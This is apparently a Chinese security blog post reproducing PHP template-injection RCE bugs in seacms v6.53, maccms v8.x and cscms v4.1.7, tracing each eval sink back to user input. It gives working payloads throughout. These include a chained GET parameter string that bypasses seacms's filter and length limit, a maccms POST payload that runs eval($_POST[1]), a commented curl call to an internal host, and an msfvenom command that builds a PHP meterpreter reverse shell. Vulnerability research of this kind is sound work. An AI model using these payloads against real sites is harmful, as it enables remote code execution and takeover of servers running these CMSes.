这篇文章发表于 1155 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这里是关于php语言SSTI漏洞的文章。既然是模板注入,那么对于php语言来说,很危的必然是eval——注意它是语言解释器而不是函数!

所以接下来审计的第一步都是搜索eval,然后再一点点找到用户可控的位置。这在思路上可能和SmartyTwig模板这种题所考察的侧重点有所不同,这些可能侧重于绕过,但我们接下来谈到的侧重于原理。

seacms_v6.53

这是我提供的环境

于是这里首先搜索eval的位置。这里安利一下Kunlun-M代码审计工具。

发现所有的eval都在parseIf函数中,而且都形如@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");,从这条语句来看,只要控制住了$strIf即可完成攻击,但这个变量来自于哪里呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
	function parseIf($content){
if (strpos($content,'{if:')=== false){
return $content;
}else{
$labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
.......
preg_match_all($labelRule,$content,$iar);
$arlen=count($iar[0]);
$elseIfFlag=false;
for($m=0;$m<$arlen;$m++){
$strIf=$iar[1][$m];
$strIf=$this->parseStrIf($strIf); // parseStrIf函数可以轻松地返回$strIf原值
......
if (...){
if (...){
......
@eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
// 在这里,像 eval("if(eval('phpinfo();')){}"); 这样的语句完全可以执行!
......

可见是parseIf函数调用的参数$content经过正则匹配替换之后进入到了危险位置。不考虑其他的,像{if:system("id")}anything{end if}这种应该就可以作为payload来使用。因此正则这部分看起来构造一个payload还是挺容易的,所以继续寻找哪里能够传入相关的参数,因此继续寻找调用parseIf函数的位置。

2

似乎这些*.php文件对这个函数的调用较多,随便看了两个文件,发现这里cms传入参数的方法主要是$_GET$_POST$_REQUEST,因此我们尝试直接用正则匹配找到可能的入口。

1

我们来看看以上两张图中哪些文件名是重复的,只有gbook.phpsearch.php。我们先来看看gbook.php里面的那个leaveWordList函数究竟做了些什么。

1
2
3
4
5
6
7
function leaveWordList($currentPage){
......
if($currentPage<=1)
{
$currentPage=1;
}
......

gbook.php里面的leaveWordList函数导致从这里传入的字符串参数会被强制转换成0,然后在比较之后被很糟糕地赋值为1,也就是说基本不可能控制这里的内容。所以接下来我们来看这个search.php里面的内容,其中控制输入的主要代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$schwhere = '';
foreach($_GET as $k=>$v)
{
$$k=_RunMagicQuotes(gbutf8(RemoveXSS($v)));
$schwhere.= "&$k=".urlencode($$k);
}
......
if(!isset($searchword)) $searchword = '';
$action = $_REQUEST['action'];
$searchword = RemoveXSS(stripslashes($searchword));
$searchword = addslashes(cn_substr($searchword,20));
$searchword = trim($searchword);
......
echoSearchPage(); // 下一步的主要代码

通过?searchword=anyword我们可以控制传入的$searchword,然后继续观察传入的$searchword在被传入parseIf函数之前还经历了什么。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function echoSearchPage()
{
global ...,$searchtype,$searchword,...;
$order = !empty($order)?$order:time;
if(intval($searchtype)==5)
{
$searchTemplatePath = "/templets/".$GLOBALS['cfg_df_style']."/".$GLOBALS['cfg_df_html']."/cascade.html";
......
}
......
$content = str_replace("{seacms:searchword}",$searchword,$content);
......
$content=replaceCurrentTypeId($content,-444); // 对payload无影响
$content=$mainClassObj->parseIf($content);
$content=str_replace("{seacms:member}",front_member(),$content);
$searchPageStr = $content;
echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
}

看来这部分功能主要就是替换掉了cascade.html里面形如{seacms:searchword}的内容,然后再将结果呈现给浏览网站的客户。到目前为止,$searchword这个重要的变量完全可控,但我们能直接传入像eval($_POST['a'])这样的payload吗?

别忘了$searchword主要就经过了RemoveXSS函数过滤和长度限制20的要求,接下来看看都过滤了什么东西。

3

不是很想看后面究竟干了些什么……所以我直接修改search.php然后通过调试发现这个RemoveXSS函数大概就在这些敏感字里面加上了<x>来实现对其的破坏,请注意这里的敏感字还包括了if:

4

简单试了试,发现想在20个字符的限制下完成对RemoveXSS函数的绕过貌似比较困难。另外,如果你还记得之前eval附近正则处理的话(从刚刚的过滤来看,我们不可能注入形如{if:pp}qq{end if}的payload,因为会将其转为{if<x>:pp}qq{end if}这样的内容),这种正常或者说很直接的攻击想法实在是难上加难。

但是我们刚刚在看代码的时候也注意到了,这里可控的参数不止一个,还有$jq$area$year$yuyan$letter$state$ver$money$order等等,尽管它们都有着相同的过滤规则,只要将其合理地拆分,就能够将能够执行命令的代码完整地拼接出来。而且这里的替换是存在顺序的,什么顺序呢?其实在search.php中已经完全告诉我们了。

5

这样我们已经能够构造出相应的payload了,比如可以将{if:eval($_POST['a'])}{end if}按照以下的方法传入:searchtype=5&searchword={if{searchpage:year}&year=:ev{searchpage:area}&area=a{searchpage:letter}&letter=l({searchpage:lang}}&yuyan=$_P{searchpage:jq}if&jq=OS{searchpage:ver}&ver=T[1])}{end &1=phpinfo();

如何理解这个payload呢?很简单,就像链子一样挨个填进去即可:

1
2
3
4
5
6
7
ver           =>    T[1])}{end 
jq => OST[1])}{end
lang => $_POST[1])}{end if
letter => l($_POST[1])}{end if}
area => al($_POST[1])}{end if}
year => :eval($_POST[1])}{end if}
searchword => {if:eval($_POST[1])}{end if}

要注意的是源码里的参数和变量名未必相同,没仔细看的话会有点坑2333……

OK我们最后再来回顾一下整个流程,首先前台拥有可控的变量,然后在对模板进行渲染的时候拼接字符串并形成了具备攻击能力的payload,最后eval造成了RCE。

maccms_v8.x

这是我提供的环境

同样是先找eval,之前安利的Kunlun-M貌似在这里不太好用,所以这里安利一下sonarqube代码审计工具。发现所有的eval都在template.php里面,更有意思的是我们发现这里的代码似乎就是刚刚在seacms里面看到的,不知道谁借鉴了谁还是两个框架是同个人写的……好吧也可能恰好是一种共同的想法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    function ifex()
{
if (!strpos(",".$this->H,"{if-")) { return; }
$labelRule = buildregx('{if-([\s\S]*?):([\s\S]+?)}([\s\S]*?){endif-\1}',"is");
preg_match_all($labelRule,$this->H,$iar);
$arlen=count($iar[2]);
for($m=0;$m<$arlen;$m++){
$strn = $iar[1][$m];
$strif= asp2phpif( $iar[2][$m] ) ;
......
if (strpos(",".$strThen,$labelRule2)>0){
......
@eval("if($strif){\$resultStr='$elseifArray[0]';\$elseifFlag=true;}");
......

经过简单的筛选,我们找到了template.php里面的ifex函数,其中的$this->H看起来就是应该被控制的变量,那么我们该怎么控制呢?

简单调试了一下,发现$tpl->P['wd']这个变量可以通过POST wd来传入,并且我们在inc/module/vod.php的96行附近找到了相应的操作。另外,$this->H就是即将要被渲染的网页源代码。到这里你能想到什么?

如果你直接搜索$this->H = str_replace(,最后的替换点能够被直接发现!正好有一个结果是在vod.phpsearch方法中。那么现在我们可以向/index.php?m=vod-search直接POST一个wd=asdffdsa的数据包来验证这个是否为我们所需要的控制点。

6

这里还没有长度限制这些的,所以接下来的操作非常简单——只要用ifex中的正则匹配将希望执行的内容传入eval的参数里面即可。接下来POST的内容为{if-aaa:bbb}ccc{endif-aaa}

7

发现最后会执行到的内容是bbb,因此最终的payload可以为{if-aaa:eval($_POST[1])}ccc{endif-aaa}

cscms_v4.1.7

很想复现2019年强网杯的cscms这道题,但是网上没有源码了,找了半天终于找到了这个版本的cscms来进行复现。这里是我提供的环境

首先发现这个网站想注册都注册不了因为没有验证码(懒得修了),而后台控制页面我们假定不能登录。

和刚刚的想法类似,首先找到了cscms/app/models/Csskins.php这个文件里面的labelif函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//if标签处理
public function labelif($Mark_Text){
$Mark_Text = $this->labelif2($Mark_Text);
$ifRule = "{if:(.*?)}(.*?){end if}";
......
preg_match_all('/'.$ifRule.'/is',$Mark_Text,$arr);
if(!empty($arr[1])){
for($i=0;$i<count($arr[1]);$i++){
$strIf = $arr[1][$i];
$strThen = $arr[2][$i];
if (strpos($strThen, $ifRule2) !== FALSE) {
......
eval("if($strIf){\$resultStr=\"$elseIfstr\";}");
// 这里可以执行这样的命令哦! eval("if (`curl http://172.17.0.1:9990`) { }");
......

很好,简直和刚刚的例子一毛一样……然后我们需要去寻找$Mark_Text该如何传入。搜索后发现只有一个地方调用了它,就是同一个文件的template_parse函数,调用的语句是这样的:if($if) $str=$this->labelif($str);,因此我们需要知道$str能否被控制。经过简单调试,发现$str就是html模板的内容。

查找template_parse,发现这里的东西大多需要注册后才能够进行进一步的操作,因此跳过了不少地方,最终在cscms/app/models/Cstpl.phpgbook_list函数里面发现了一处可行的调用。看起来这是一个将评论列出来的功能页面,但那个评论区在哪里?

9

找到了,然后我们随便发条消息再调试下。

8

这说明只要在那个评论区符合那个正则的payload即可完成攻击,但是我输入{if:eval($_POST[1])}eval($_POST[1]){end if},发现被网站一直在转圈圈……看起来被过滤了,接下来就看看它是如何过滤的以及该怎么绕过。

一番搜索之后发现在plugins/sys/Gbook.php里面的add函数中有着一个过滤filter,然而虚晃一枪,原来是过滤脏话的2333……之后又发现其实只是该网站因为有token所以不刷新就无法重复提交——事实上,服务器因为刚刚这个payload产生了假死。

10

破案了,原来是把括号改成了HTML实体编码。可是经过简单试验,发现直接留言括号并没有这样的编码效果,很神奇,所以干脆就认为括号直接被过滤了吧,反正也能直接绕过这个奇怪的过滤。其他文章可能利用了其他的漏洞点。但这里就用了我最开始写在文件注释里的一个技巧,最终的一个payload如下:

12

这里的shell.php是通过命令msfvenom -p php/meterpreter/reverse_tcp LHOST=172.17.0.1 LPORT=4444 -f raw > shell.php生成的。

11